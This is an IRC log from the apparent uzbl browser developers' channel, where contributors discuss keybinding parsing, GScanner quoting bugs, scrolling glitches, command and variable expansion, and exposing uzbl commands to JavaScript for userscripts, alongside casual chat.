03:27 < Morasique> tbo: it's the X window id
03:30 < tbo> Ah
03:32 < tbo> it is the potential to replace my slow vimperator/firefox :-)
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04:24 < tbo> potential is the right word, clicking on a link which opens a new window it opens two :-)
04:24 < dxdx> tbo: that is a bug fixed in holizz's repo
04:26 < tbo> I see
04:46 < tbo> too bad, newsbeuter doesn't seem to like uzbl yet, even though uzbl is perfect for opening links from application like mutt or newsbeuter
04:46 < scp1> snownews > newbeuter
04:46 < tbo> now it works
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05:00 < dxdx> //usr/include/webkit-1.0/JavaScriptCore
05:00 < dxdx> (the // is a typo)
05:00 < dxdx> surprise, buttsecks
05:13 < dxdx> http://webkitgtk.org/reference/webkitgtk-WebKitWebFrame.html#webkit-web-frame-get-global-context
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05:48 < bct> if anybody cares that you can scroll past the end of a page, it's fixed in my branch:
05:48 < bct> http://github.com/bct/uzbl/commit/57d3f8609955b86f7cd2e62bec0c25bc5a967967
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10:04 < Dieterbe> morning ladies
10:05 < Dieterbe> tbo: can you open posts in newsbeuter with external programs?
10:06 < tbo> Dieterbe: I can open posts in newsbeuter with uzbl, yes:
10:06 < tbo> browser "/usr/bin/uzbl -u %u"
10:07 < Dieterbe> tbo: interesting
10:07 < tbo> Dieterbe: much faster than firefox :-)
10:09 < Dieterbe> tbo: yeah i can imagine. btw even faster would be keeping 1 uzbl instance open and sending 'set uri = file:///...' over the fifo. or you could even pipe the html itself to it ( http://www.uzbl.org/wiki/html-mode )
10:11 < tbo> Dieterbe: there is a lot of possibilities but I like this
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10:14 < Frots> good morning people
10:16 < DuClare> Morning
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10:20 < Dieterbe> hello Frots and DuClare 
10:21 < Dieterbe> what a lovely sunday. (not... raining cats and dogs here)
10:21 < Frots> hey Dieterbe
10:21 < tbo> not?
10:21 < Frots> itsd not raining _yet_
10:21 < Frots> here
10:21 < tbo> where is here?
10:21 < Dieterbe> belgium
10:21 < Frots> netherlands
10:21 < DuClare> Here it was raining midnight.  The thunder took me offline
10:22 < tbo> hmm, NRW, just on the other side of the border
10:22 < Dieterbe> aha. well like usual, the wheather in the netherlands is the wheather that went over belgium first ;)
10:22 < Dieterbe> so expect some rain Frots :P
10:22 < Frots> yeah thaths why i said yet :P
10:23 < Frots> the sky is about to burst open :d
10:23 < tbo> Dieterbe: I didn't know there is weather in belgium, I always thought the people couldn't agree on any
10:23 < Dieterbe> tbo: i think usually it's the weather that doesn't agree with itself
10:23 < Frots> XD
10:24 < tbo> happens
10:24 < tbo> I'm tired
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11:06 < Dieterbe> DuClare: what's your opinion of commit http://github.com/bct/uzbl/commit/d6cc50f3c95b46c3c8573b97e9825456fb9afbb9 and http://github.com/bct/uzbl/commit/f7446fd2e52c3421c70e49db0033a42a8a13ca27 ?
11:07 < Dieterbe> bct: did you test the space binding one?
11:13 < Dieterbe> bct: it only seems to work if you only bind space, not "B " for example (it will trigger on B
11:13 < bct> Dieterbe: yeah, don't use that one
11:13 < bct> i just wanted something that would let me pagedown on a space
11:13 < Dieterbe> bct: since space is used as delimiter, we maybe should introduce a "special char meaning" such as : bind B<space> = foo
11:14 < bct> yeah.
11:14 < Dieterbe> but rob already suggested rewriting some keybind stuff so maybe rob's thing will take care of this
11:14 < bct> i don't know how the parsing works, but maybe we need one for = too?
11:14 < Dieterbe> for now it's really simple
11:15 < Zaba> how about "\ " for space?
11:15 < Dieterbe>     gchar **split = g_strsplit(argv_idx(argv, 0), " = ", 2);
11:15 < Dieterbe>     gchar *value = parseenv(g_strdup(split[1] ? g_strchug(split[1]) : " "));
11:15 < Dieterbe>     add_binding(g_strstrip(split[0]), value);                               
11:15 < bct> ah, ok.
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11:19 < bct> ah, ok. and if someone really wants to bind a sequence with " = " in it, they can translate the spaces
11:27 < Dieterbe> bct: your user agent fix does not work for me :(
11:27 < Dieterbe> bct: i merged in this: http://github.com/bct/uzbl/commit/d6cc50f3c95b46c3c8573b97e9825456fb9afbb9
11:28 < Dieterbe> bct: if i do: set useragent = 7a, then my useragent is 'libsoup/2.26.2'
11:28 < bct> yes, you have to do set useragent = '7a'
11:29 < Dieterbe> why is that needed? can't we fix the bug without forcing users to use quotes?
11:29 < bct> not without replacing gscanner, as far as i can tell
11:30 < bct> from gscanner.c it looks to me like it tries to interpret any sequence beginning with a digit as a number
11:30 < bct> and there's no option to bypass that
11:31 < bct> i could be wrong though
11:31 < Dieterbe> bct: so, in expand_template, why don't we add ' around the template ourselves?
11:31 < Dieterbe> in the code i mean. to not bother users
11:32 < bct> because then the whole thing gets interpreted as a string
11:32 < bct> so the tokens never get expanded
11:32 < bct> the symbols, i mean
11:33 < bct> maybe gscanner is total overkill for this anyways? i'm not sure how difficult writing the subset of it that we care about would be, so i took the easy route
11:34 < Dieterbe> either way, the patch like this is incomplete.  if the new code requires a new way to work with it then de documentation (README etc) must also be patched
11:35 < bct> ok.
11:35 < Dieterbe> what's the "policy" now? for any variable, if you want to do set $var = foo, foo must be single quoted if it's to be interpreted as a string?
11:35 < bct> only for things that use expand_template
11:36 < bct> which i think is just useragent and title?
11:36 < Dieterbe> and statusbar probably
11:36 < bct> aah, i guess statusbar is part of update_title
11:36 < Dieterbe> no
11:37 < Dieterbe> you can do set status_bar = foo, it will update the statusbar (and run update_title() )
11:37 < Dieterbe> status_format *
11:37 < bct> right, ok. i'm just going by where expand_template shows up in uzbl.c
11:37 < bct> so for example you would do:
11:38 < bct> set  useragent       = 'uzbl 7a (Webkit' WEBKIT_MAJOR.WEBKIT_MINOR.WEBKIT_MICRO)
11:39 < Dieterbe> hmm that doesn't look too pretty
11:39 < bct> or something like that. the quotes are only needed when there's a /\d\w/ sequence in it
11:40 < bct> i agree that it's ugly, maybe a simple custom scanner is a better solution
11:41 < bct> then we can avoid silly things like the G_TOKEN_INT branch too
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11:47 < bct> sorry if i'm not making sense, it's 4 o'clock and i should go to bed
11:47 < bct> good night world :)
11:48 < Dieterbe> good night
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11:51 < Dieterbe> bct: i also don't get why the scroll fix is needed. scrolling works fine for me
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12:22 < tha> how does searching work?
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13:22 < DuClare> What scroll fix?
13:23 < DuClare> Are there things expand_template did actually choke on?
13:25 < DuClare> Oh
13:28 < Dieterbe> DuClare: FS#38
13:28 < Dieterbe> DuClare: there was a scroll fix in bct's tree 'dont scroll further then page' or something like that, but i don't see why it would be needed
13:29 < DuClare> Yup
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17:21 < bct> Dieterbe, with your experimental branch if i type >>jjjjjjjk it doesn't scroll back up.
17:21 < bct> the same applies to llllllh if i'm at the right edge of a page
17:21 < Zaba> I noticed that too, but only for horizontal scrolling.
17:23 < bct> there's no problem on the left edge or the top of the page.
17:23 < Zaba> yeah
17:24 < bct> it's not happening for you at the bottom of a page Zaba?
17:25 < Zaba> bct, maybe I didn't pay enough attention.
17:26 < bct> ah. i am curious if it's happening elsewhere, it could just be a gtk bug on my system...
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20:00 < dxdx> the socket is not bidirectional yet, am i right?
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20:08 < Zaba> not yet, not yet, patches are welcome
20:15 < bct> has anybody worked on getting basic unit testing working?
20:16 < Dieterbe> I don't think so
20:16 < bct> i tried to write up a .c with some asserts, but i can't get it to link to uzbl
20:18 < bct> Dieterbe, i wrote a replacement for gscanner: http://www.uzbl.org/bugs/index.php?do=details&task_id=38
20:18 < Dieterbe> there are probably some unit testing frameworks/tools out there already
20:20 < bct> i'm just not sure how to get the tools working with uzbl without "multiple definition of `main'", etc.
20:23 < Zaba> just have asserts in the uzbl code itself?
20:23 < Zaba> and what units are there to unittest?
20:23 < bct> that doesn't give you a way to test specific edgecases though, right?
20:24 < bct> expand_template, for example.
20:27 < dxdx> i was wondering, are you ever going to split uzbl.c in more than one file?
20:29 < DuClare> Why does everybody insist on splitting it? <,<
20:29 < mxey> I think it's a good idea to group functions belonging together in extra files.
20:29 < mxey> uzbl.c is over 2000 lines long.
20:29 < Zaba> splitting it would also allow for easier unit testing
20:30 < mxey> No double main?
20:30 < DuClare> "Over 2000" is not much :]
20:30 < Zaba> no, but you'd test units rather than a big bunch of functions
20:31 < Zaba> DuClare, it was ~1900 when I started using it, and it can grow another 600 lines just as quickly...
20:31 < mxey> Over 200 is too much for one file. Do you love to scroll?
20:31 < mxey> *Over 2000
20:31 < dxdx> please don't mention folds
20:32 < DuClare> mxey: Scrolling is inevitable unless you keep buffers the height of your editor, and is easier than constantly switching between files
20:32 < mxey> Yeah, in nano maybe.
20:33 < mxey> Doing gt in Vim is not exactly a problem.
20:33 < DuClare> If I have to navigate a file which is larger than my terminal, then I have to navigate it anyway, and its length doesn't change the methods
20:33 < mxey> How do you navigate it?
20:33 < DuClare> mxey: Why is gt better than ^D?
20:34 < mxey> Well, you said it was not easy to switch files.
20:34 < Zaba> what's ^D?
20:34 < mxey> Not me.
20:34 < DuClare> Zaba: Scroll down
20:34 < Zaba> ah, cause gt actually navigates between files, potentially
20:35 < dxdx> well, scrolling down never gets you exactly where you want
20:35 < DuClare> Neither does switching a buffer, unless the buffers are all the size of your terminal
20:35 < mxey> It does you get to the right group of functions.
20:35 < mxey> *get you
20:36 < Zaba> I dunno really, perhaps I would have a more complete opinion on the matter if I actually hacked on uzbl.
20:36 < DuClare> But not to the right function.  I don't need an intermediate step called "group of functions" -- I go to the function I want directly.
20:36 < Zaba> Or something equally big.
20:36 < dxdx> DuClare: yes, in the right function. i open the buffer, scroll once to the function i want, and every time i switch it is still there
20:37 < DuClare> dxdx: I can do that without switching buffers
20:38 < dxdx> not everybody likes to remember a bunch of marks, either
20:38 < DuClare> Not everybody likes to remember a bunch of files, either
20:38 < bct> filenames are suggestive of their contents, and persistent
20:39 < Dieterbe> i think we have bigger things to worry about
20:39 < dxdx> something tells me this will get nowhere
20:39 < bct> bikeshed :)
20:39 < dxdx> indeed
20:39 < Dieterbe> and besides, if you master your editor/workflow it doesn't even matter how it is organized on disk.
20:39 < Zaba> somehow I think it'd be useful, because if you separate modules of the program, they'll have more orthogonal design among them
20:39 < DuClare> Dieterbe: Exactly
20:40 < Dieterbe> that said, i'm pro splitup :P
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20:40 < Dieterbe> but only because i don't master my editor :)
20:40 < DuClare> I can navigate one file very well :)
20:40 < dxdx> lol'd
20:41 < DuClare> (And for comparison, there are files of about 6k lines in Zsh's source.  Never had a problem with them)
20:41 < DuClare>    6104 builtin.c
20:41 < Dieterbe> DuClare: what do you think? http://github.com/bct/uzbl/commit/202685865f8947c19baed2dfd539c145958c21ed
20:41 < DuClare>    5771 utils.c
20:42 < Zaba> zsh is now an example of good code
20:42 < Zaba> wow
20:43 < dxdx> poor GScanner, we'll miss him
20:43 < Zaba> gscanner?
20:43 < Dieterbe> somehow it would really suprise me if we cannot do with gscanner what we want.
20:44 < bct> Dieterbe, have you tried scrolling past the bottom or right side of the page with scroll_vert/scroll_horz ?
20:44 < Dieterbe> it would probably be wise if someone (bct) asks on gtk/glib ML or whatever what we should do
20:44 < bct> for me the display doesn't change, but then trying to scroll back up fails
20:44 < Dieterbe> bct: i could perfectly scroll back up and down after "trying to scroll too far". maybe i need to try on more different pages
20:44 < DuClare> Dieterbe: Structure & concept wise it doesn't look bad to me.  What are its performance implications?  We use expand_template quite a lot ..
20:45 < DuClare> (I'm unable to test things right now)
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20:45 < Dieterbe> DuClare: i care more about clean design / reusing existing things then performance
20:45 < bct> odd. it happens on any page for me.
20:45 < DuClare> Dieterbe: Sure
20:46 < dxdx> http://www.uzbl.org/bugs/index.php?do=details&task_id=32 comment (about JavaScriptCore)
20:46 < DuClare> dxdx: Interesting
20:47 < bct> Dieterbe, do we need/want anything more than simple replacement?
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20:48 < Dieterbe> bct: not sure. DuClare is more into that stuff. but i would prefer if we can find a way to keep using gscanner without ugly hacks.  i find it hard to believe we can't use gscanner for this
20:48 < bct> i think the problem is that gscanner was made for real parsing
20:48 < DuClare> That reminds
20:48 < bct> but i can ask.
20:48 < DuClare> We still don't expand vars on actions?
20:49 < Dieterbe> bct: ah i think i know what the problem is with scrolling: once you go past the "limit" of the page, you can keep pressing scroll down though you don't see the difference. if you want to scroll back the other direction, you need to press the other key for as long as you pressed the first one before it starts scrolling again
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20:50 < DuClare> Tbh, I'd like to get rid of the "special symbols" and bring vars to fill the gap, then use variable expansion on useragent & title
20:50 < DuClare> & status
20:50 < Dieterbe> DuClare: yeah
20:50 < DuClare> Dieterbe: Interesting
20:50 < DuClare> Dieterbe: Doesn't work like that here
20:51 < Dieterbe> i only have it at the bottom of pages, not at the top
20:51 < DuClare> If I scroll past a page, I see it instantly when I scroll back, no matter how long I hold it
20:51 < Dieterbe> and not with pageup/pagedown. it only works with j/k
20:51 < DuClare> pageup/pagedown was made not to scroll past the end of the page, IIRC
20:52 < DuClare> And that's how it works here
20:52 < bct> Dieterbe, yes that's what i'm talking about. i guess i didn't explain it well.
20:52 < Dieterbe> doesn't pageup/pagedown use internal webkit logic? (eg we don't do anything special with it, we just pass it on)
20:53 < bct> i believe that is true.
20:53 < bct> and yes, it's only at the bottom/right side of pages
20:53 < DuClare> Not quite.  There is no "pageup" / "pagedown", there's scroll by a percentage
20:53 < Dieterbe> probably top/left stays 0 when you try to go past it (eg you can't go negative)
20:53 < bct> DuClare: no, the literal PgUp/PgDn keyboard keys
20:54 < DuClare> Oh
20:54 < Dieterbe> DuClare: i think pageup/down worked since the very beginning, long before we had keybinds / scroll functions :)
20:54 < DuClare> Right, that
20:54 < Dieterbe> yeah what bct said :)
20:54 < dxdx> wait, what? i don't have that problem
20:56 < bct> dxdx, type >>jjjjjjjjjjj (or whatever the equivalent is with your keybindings)
20:56 < bct> then type k
20:56 < bct> does the display scroll back up?
20:56 < DuClare> Does
20:57 < bct> hmmm.
20:57 < bubaak> it doesn't for me, but it works with arrow keys
20:57 < bct> yeah, arrow keys are handled directly by webkit too
20:58 < bubaak> yeah
20:58 < dxdx> bct: does too
20:58 < bct> very odd. i'm on gtk 2.14.7 and webkit-gtk 1.1.8
20:59 < dxdx> gtk 2.16.1 here
20:59 < bubaak> gtk 2.16.2, webkit 1.1.9 here
20:59 < bct> curiouser and curiouser.
21:00 < bubaak> could uzbl version have impact? i have experimental but not latest
21:00 < DuClare> I doubt anybody has touched that code recently?
21:00 < DuClare> I'm not up to date either, been somewhat busy
21:01 < bubaak> ok
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21:12 < Dieterbe> bct: would you mind posting to a gtk/glib mailing list and asking if we can do the gscanner string things without forcing users to add ' ? i really want to be sure about gscanners ability to do this before i test/merge your replacement
21:13 < bct> will do.
21:14 < Dieterbe> thanks mate
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21:34 < dxdx> midori, safari, and epiphany (mozilla only) have userscripts implementations, but none of them have added the GM_ functions
21:36 < dxdx> well, the safari one (greasekit, unofficial) had to remove them because they, particularly the xmlhttprequest one, were available in the global context to all websites
21:39 < tbo> GM_ function?
21:40 < bct> tbo: eg. GM_xmlhttpRequest
21:40 < tbo> bct: what does those functions do?
21:41 < bct> which lets a userscript make a cross-domain AJAX request
21:41 < tbo> Ah
21:41 < bct> and GM_getValue/GM_setValue which store persistent data for that script
21:42 < bct> userscripts are useless for anything other than simple transformations without them
21:44 < bct> dxdx, there's a scriptable ruby proxy called mousehole that would be good for a lot of those things
21:44 < bct> it's been kind of forgotten, but i think it would be a good fit for uzbl
21:47 < dxdx> bct: of course filtering with proxies was always an option, and you can also spawn an external script that sends javascript code to uzbl
21:48 < bct> you still can't make cross-domain requests from an external script though, right?
21:49 < dxdx> i meant a python/perl/ruby script which pipes "js alert('hi')" to the fifo/socket
21:49 < bct> i know
21:52 < dxdx> anyway, i don't think adding those vars in a safe is impossible. there's the whole JSContext stuff which greasekit did not use, and in the worst case we could set the functions to undefined after the userscript has finished
21:53 < dxdx> or even.. worse, have the default names as "GM_xmlhttprequest_RANDOM_HASH" and rename them before and after the eval'd code
21:53 < bct> ha
21:54 < bct> i suppose that would work :)
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22:22 < dxdx> g_printerr() or fprintf(stderr)?
22:22 < dxdx> (FIGHT!)
22:22 < dxdx> both are in the code
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22:23 < Dieterbe> :P
22:25 < DuClare> g_printerr
22:26 < Dieterbe> System.println :P
22:27 < Dieterbe> (what was that.. java?)
22:28 < dxdx> new System.ErrorPrinterFactory()
22:29 < dxdx> hm, that might be too simplistic for java standards
22:31 < dxdx> halp: static struct {char *name; Command command[2];} cmdlist[] = (...)
22:31 < dxdx> why is that a command[2], and why the NOSPLIT flag seems to be a Command?
22:35 < holizz> System.Console.WriteLine
22:43 < Dieterbe> ugh that's butt ugly
22:43 < Dieterbe> putting 'console' in there
22:44 < Dieterbe> good night dudes
22:44 < dxdx> (that doesn't make sense for someone in GMT-3)
22:45 < Dieterbe> sense or not i need sleep :P
22:46 < holizz> Good night!
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23:05 < DuClare> prn
23:06 < M2tias> porn
23:07 < dxdx> where?
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01:05 < dxdx> oh shit, google doesn't seem to know the difference between GString and G-string
01:06 < dxdx> glib will get me fired someday
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01:42  * locks giggles
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02:12 < uranther> dxdx, if you're on firefox, you can add a custom search on the glib docs page
02:16 < dxdx> uranther: that google custom search?
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02:16 < uranther> yeah i think it uses google
02:16 < dxdx> it is still affected by those "sponsored links" :P
02:17 < dxdx> ASIAN-BRA專屬東方人的內衣
02:17 < dxdx> (sorry if your terminal doesn't support utf8)
02:17 < uranther> xchat doesnt
02:17 < dxdx> wait, what
02:18 < uranther> i guess?
02:18 < uranther> lol.. it shows boxes
02:18 < dxdx> you are on windows, right?
02:18 < uranther> yup
02:18 < dxdx> oh, understandable. windows sucks at unicode
02:18 < uranther> lol
02:18 < uranther> didn't know that
02:19 < dxdx> well, i think you have to install something for each language you want to be able to render
02:20 < uranther> so i guess linux is better for international people then?
02:21  * uranther warcraft 2
02:21 < dxdx> it seems, but there used to be buggy terminals which did not like utf-8 (and if you read utf-8 as if it were ascii.. you get a lot of crap)
02:21 < dxdx> ok
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06:23 < dxdx> i just fixed the GIOChannel version of control_socket. while committing, i felt strangely good with myself. if i weren't so lazy i'd say this more often: coding is better than sex.
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07:18 < uranther> dxdx, that's a terrible thing to say
07:27 < dxdx> uranther: is it? oh, if you take it like that it would mean i'll become a code junkie (literally), but, well, i don't think that could ever happen
07:32 < dxdx> [hmm, actually, addiction is created when pleasure is get effortlessly..]
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09:25 < Dieterbe> dxdx: \o/
09:26 < dxdx> Dieterbe: hai
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09:32 < Dieterbe> rob|9 & DuClare what do you think about only listening on stdin when you do 'uzbl -c -' or something ? (you can't background uzbl if it's listening on stdin)
09:36 < dxdx> hm, i think you'll have to wait a few hours for an answer. i'll go to sleep and check the news later, then
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11:36 < rob|9> morning.
11:37 < rob|9> Dieterbe: i'm ok with that
11:37 < Dieterbe> rob|9: allright. welcome back among the living btw :)
11:37 < Dieterbe> how was the trip?
11:38 < rob|9> quite nice, i also had the change to see a bit of eastern germany :)
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12:29 < xintron> If I would strip all images from a certain folder on a domain, how would I start that script?
12:34 < DuClare> Hi rob|9 \o/
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12:47 < Frots> hello girls
13:05 < DuClare> Hi girl
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13:09 < pwlz> Hello!
13:11 < pwlz> I can't add comment to issue on bugs.launchpad.net using uzbl
13:12 < pwlz> It sais: "Attachment (optional): Cannot upload empty file!"
13:13 < pwlz> I can add comment without attachment using other browsers (for example firefox)
13:15 < Dieterbe> hmm this looks familiar
13:15 < Dieterbe> i've seen this issue before, somewhere. but don't remember thespecifics
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13:17 < haste> Dieterbe: midori has the same issue, but I don't remember if it was worked around or not
13:17 < haste> has/had
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13:18 < pwlz> My xorg has just crashed )-:. So if anyone has answered to my question, please write it once more.
13:19 < haste> it was an issue with midori earlier
13:19 < Dieterbe> 13:15:46 < Dieterbe> hmm this looks familiar
13:19 < Dieterbe> 13:15:58 < Dieterbe> i've seen this issue before, somewhere. but don't remember thespecifics
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13:19 < Dieterbe> 13:17:15 < haste> Dieterbe: midori has the same issue, but I don't remember if it was worked around or not
13:19 < Dieterbe> 13:17:20 < haste> has/had
13:19 < haste> but I _think_ it was solved
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13:19 < haste> heh
13:19 < haste> he died again
13:19 < Dieterbe> :/
13:20 < Dieterbe> xintron: what about: set autoload_images = 0 ?
13:20 < haste> I think he/she just needs to update webkit
13:20 < Dieterbe> yeah maybe
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13:20 < Dieterbe> pwlz: just update your webkit
13:21 < pwlz> Dieterbe: thx
13:21 < haste> and ifx your X :D
13:21 < pwlz> ;)
13:21 < Dieterbe> yeah :P
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14:13 < rob|> added @(command) expansions, so you can do things like:  set status_message = TEST:  @(sh -c 'if [ x"@{proxy_url}" !=  x"" ]; then echo -n "Proxy set: @{proxy_url}"; else echo -n "No proxy set"; fi')
14:13 < Zaba> heeeeh
14:14 < rob|> it still has some annoyances, though it should work well for in most cases
14:14 < rob|> s/for//
14:14 < Zaba> why the hell do you do that x"foo" != x"" comparison
14:15 < rob|> well, some shells have problems with not set vars
14:15 < Dieterbe> holy crap
14:15 < Dieterbe> rob++;
14:16 < mxey> Some shells?
14:16 < Zaba> /bin/sh from solaris, perhaps
14:16 < mxey> What does POSIX sayσ
14:16 < mxey> ?
14:16 < Zaba> but most people have learnt not to care about it these days
14:16 < Dieterbe> (that said, i still think we should try to use something like lua or whatever, rather then writing our own language)
14:16 < rob|> anyways, the x"" thing is a common idiom...
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14:16 < mxey> Using Windows is a common idiom.
14:17 < Dieterbe> :)
14:17 < mxey> Or Autotools?
14:17 < Zaba> Integrating lua is a common idiom.
14:17 < rob|> no
14:17 < DuClare> rob|: I wanted to discuss var (and command?) expansions & actions
14:17 < Zaba> it is
14:17 < mxey> rob|: Lua *is* a classic language for embedding.
14:17 < mxey> Not so much in your average app, as in quite a few commercial games (Far Cry!)
14:17 < Zaba> I can't recall any serious game using anything but lua for scripting
14:18 < mxey> Well, it makes sense. It's lean for gamers to learn.
14:18 < DuClare> rob|: Ideally we should expand things on actions as well, but simply doing that for every action adds yet another level of quotes... soon you're going to have ten consequtive backslashes to quote something that is going for the shell
14:18 < Zaba> far cry being a commercial example, spring rts and some roguelikes being others
14:18 < DuClare> rob|: One option would be to use a special action when you want to expand things
14:18 < DuClare> rob|: bind foo = expand blarg @{foo} baz
14:18 < DuClare> That'd give user the control
14:19 < rob|> hmm
14:19 < mxey> Good idea.
14:19 < DuClare> Though he still has nested levels of quotes if he wants to use expansion
14:19 < rob|> that might work
14:19 < DuClare> Might work, but not sure it's ideal.  Is there a way to merge the splicing & unquoting stuff with variable expansion so it all would be done in one  go, killing the need for nested escapes?
14:20 < rob|> DuClare: well, expand_vars interpretes only \ as quoting char, so you're fine with using '' "" for shell quoting
14:20 < DuClare> Well, you'll have to nest backslashes .. :)
14:21 < haste> Zaba: unreal scripts comes to mind!
14:21 < DuClare> Worst case scenario: expand + chain + sh + echo in shell command
14:21 < DuClare> Definitely fugly
14:21 < rob|> imo we should use only \ for our internal quoting and advise users to use '', "" for shell level quoting
14:22 < rob|> that would at least makes things a bit more simple and clear
14:22 < DuClare> Yeah, but when you need \ in the shell command for whatever reason, it interferes with all internal quoting
14:23 < rob|> if you really need it than you simply must deal with multiple levels of \ quotation
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14:23 < DuClare> Right
14:24 < rob|> i think you can avoid it in most cases, though
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14:24 < DuClare> Another thing I propose is that we get rid of the scanner & the magic symbols used with status_format, title and useragent
14:24 < DuClare> Replace them with variables & variable expansion
14:25 < rob|> yep, absolutly
14:25 < DuClare> rob|: Are you planning to work on the X11 keysym stuff?
14:25 < Dieterbe> i 2nd the motion to merge the symbol replacing into the variable system
14:26 < rob|> first i'd like to make the expansion robust and get rid of some quirks in there. after that i might give the keysym stuff a look
14:28 < DuClare> Right
14:35 < rob|> well, right now you can't stack @() like:  @(fooo @(bar @(baz))) - i guess that's ok as handling this case would make the parser way more complex
14:36 < Dieterbe> i can't think of a use case where we would need something like that
14:36 < rob|> exactly
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14:42 < Dieterbe> rob|: are you still behind your opinion you prefer writing our own little language, rather then using something existing as lua? or is it your goal to later library-ize this little lanuage to be a more lightweight alternative for lua?
14:43 < rob|> well, actually i don't want an own turing complete language but one with just the necessary elements that allows to easily use any other language
14:44 < rob|> i guess the @() expansion and the interpolation of uzbl vars inside it is just what we need
14:44 < uranther> oh yeah, i'm on board with that.. although i was more referring to the communication framework instead of the parsing language itself
14:46 < Dieterbe> rob|: i understand your point. but if we stick to our own way, it would be nice if we can separate the language from the rest, so it becomes reusable (pun somewhat intended) for other projects
14:47 < rob|> sure, we should do that at some point
14:48 < Dieterbe> ok then it's good
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14:58 < Dieterbe> rob|: are you going to froscon?
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14:59 < rob|> Dieterbe: no, don't think so
14:59 < Dieterbe> rob|: ooh that's too bad. i'm going, and several arch guys are coming :)
15:03 < rob|> hmm, end of august
15:04 < rob|> i might change my mind till then ;)
15:04  * DuClare would like to go
15:04 < DuClare> I think it'd be beyond my budget, though.
15:05 < rob|> yeah, it's quite far away for you duc
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15:06 < rob|> DuClare: i have relatives in bonn (near to the froscon location), so if i decide to go i might be able to offer one or two more sleeping places there
15:09 < DuClare> Hmhm..
15:12 < Dieterbe> DuClare: where are you from again?
15:15 < DuClare> Varkaus, Finland
15:17 < Dieterbe> ah. i would offer you a ride, but you live further away then i thought :P
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15:22 < uranther> DuClare, like black metal? :>
15:23 < DuClare> Sure
15:23 < uranther> sweet
15:25 < uranther> am I one of few who's from america?
15:26 < Dieterbe> hmm from the few people of who i know where they live, they seem to live in the EU
15:27 < DuClare> Hm, looks like I have an account on last.fm.  The statistics are very inaccurate though as most of my listening doesn't get scrobbled :o  http://www.last.fm/user/DuClare
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15:32 < Dieterbe> mine in reasonably up to date. http://www.last.fm/user/Dieter_be (except for the picture whis is old :P)
15:33 < uranther> I just tried installing the scrobbler plugin for Winamp and it's complete crap
15:33 < Dieterbe> wait.. what? winamp?
15:34 < uranther> http://www.last.fm/user/uranther although i guess it is working
15:34 < uranther> Dieterbe, windows is my main OS atm lol :)
15:34 < DuClare> After forever \o/
15:34 < Dieterbe> uranther: :/
15:34 < uranther> lol..
15:34 < uranther> I run Xubuntu 9.04 in a VM
15:36 < Dieterbe> uranther: why not just run xubuntu directly without the ugly layer in between? ;)
15:38 < uranther> that means i have to reinstall..
15:38 < Dieterbe> yeah
15:38 < uranther> I had Kubuntu 9.04 with KDE4 before Vista, and it was complete crap. i needed something stable that just works
15:39 < uranther> during the school year, i have no time to dick around with configuring my linux install, as I'm sure we've all fell into that endless trap
15:39 < Zaba> dwm is simple and also just works
15:39 < uranther> I used to be on gentoo with fluxbox and I spent so much time customizing..
15:40 < Zaba> I use gentoo and I don't really customize a lot
15:40 < uranther> everyone is different I guess ;) I remember spending hours trying to get my school's WiFi to work on Kubuntu..
15:41 < Zaba> I remember spending some time making WiFi work at home
15:41 < Zaba> I was spending it on the side of the AP, though
15:41 < uranther> so atm, I just have a linux VM for development (uzbl, learning symfony atm)
15:41 < DuClare> I don't recall ever using WiFi with a device other than my communicator
15:41 < uranther> and i just used "atm" a lot...
15:43 < uranther> but yeah, I might end up installing Linux again if Vista blows itself up
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17:41 < hak5fan> I'm trying to fix a vista box right now
17:41 < Dieterbe> aargh.
17:41 < Dieterbe> the word vista is mentioned 2 times today. what is up with you people?
17:42 < uranther> lol..
17:42  * uranther is a sinner
17:42 < hak5fan> The problem with Linux isn't that it doesn't work it's the fact that it teases you into breaking it by tweaking it too much
17:43 < uranther> so true
17:44 < Dieterbe> so? anything that ends on "ndows" breaks by itself. hell, is broken by design
17:44 < uranther> it's a slippery slope.. before you know it, you're patching the kernel
17:44 < uranther> <g>
17:45 < barrucadu> uranther: True: http://xkcd.com/456/ ;)
17:46 < uranther> lol :)
17:47 < uranther> read the title attribute
17:47 < uranther> i always liked how he put those in there
17:52 < dxdx> Dieterbe: hi there, results of the code review?
17:52 < Dieterbe> dxdx: no. still at work
17:52 < Dieterbe> dxdx: good morning btw
17:53 < dxdx> heh
17:55 < uranther> gmorning
17:56 < dxdx> g_morning_new()
17:56 < uranther> although it's about noon here.. bout to get lunch
17:56 < uranther> dxdx, you've been working with glib too much
17:57 < dxdx> 12:53 here too, but my biological clock is kinda fscked up
18:01  * Dieterbe off to drive home
18:01 < Dieterbe> see you later
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21:33 < dxdx> http://omploader.org/vMXU3eA (screenshot)
21:33 < M2tias> :o
21:34 < dxdx> http://pastebin.com/d33530e0c source
21:35 < dxdx> and there's a "undefined" printed in the terminal
21:37 < scj> whoa
21:38 < dxdx> and other scripts can't see that variable (firebug lite throws exception), this is win
21:39 < uranther> lol?
21:40 < uranther> pretty crazy error you got there
21:41 < uranther> what is this for
21:41 < Dieterbe> looks pretty cool
21:41 < dxdx> uranther: not an error, it's the variable "dxdxdx" which was set with JavaScriptCore
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21:43 < uranther> ok, so this is protecting our javascripts from  being exploited by websites, basically?
21:43 < uranther> by not having the javascript interpretted by the engine view
21:44 < dxdx> uranther: well, both exporting and protecting variables
21:45 < dxdx> the point is that they are defined in C code, so instead of a number i can define a function, and allow javascripts to call any uzbl command
21:45 < dxdx> http://pastebin.com/d3ec46b32
21:45 < scj> that would be awesome
21:46 < uranther> dxdx, wicked
21:46 < dxdx> oh, that last thing is a segfault, it doesn't like converting functions (like int) to strings
21:47 < Dieterbe> sweet dxdx 
21:49 < dxdx> ideas for the uzbl namespace? i thought having just a Uzbl object, a Uzbl.exec (or eval) function and probably a Uzbl.xmlhttprequest later (so greasemonkey could be implemented by renaming those functions)
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21:52 < Dieterbe> what is greasemonkey anyway? is it like a JS "framework" that provides an easier api to do things with JS ?
21:52 < uranther> Dieterbe, by running a greasemonkey script, you can change the behaviour of webpages
21:53 < uranther> a script that changes the google images links to link directly to the image, comes to mind
21:53 < scj> Dieterbe: pretty much, and a xmlhttprequest object for getting around cross site scripting restrictions
21:54 < uranther> basically, it's badass, because as a user you can overcome usability issues
21:54 < uranther> among other things
21:55 < dxdx> it's like hooking to a page loaded signal and running javascript on that context
21:55 < Dieterbe> scj: ah, so that means as a user you can say "do this ajax request to host foo and use the results on the current page from host bar", which of course won't work otherwise?
21:55 < scj> yes
21:56 < Dieterbe> cool
21:56 < dxdx> there's a userscript that adds links to torrents and rapidshits on imdb.com :P
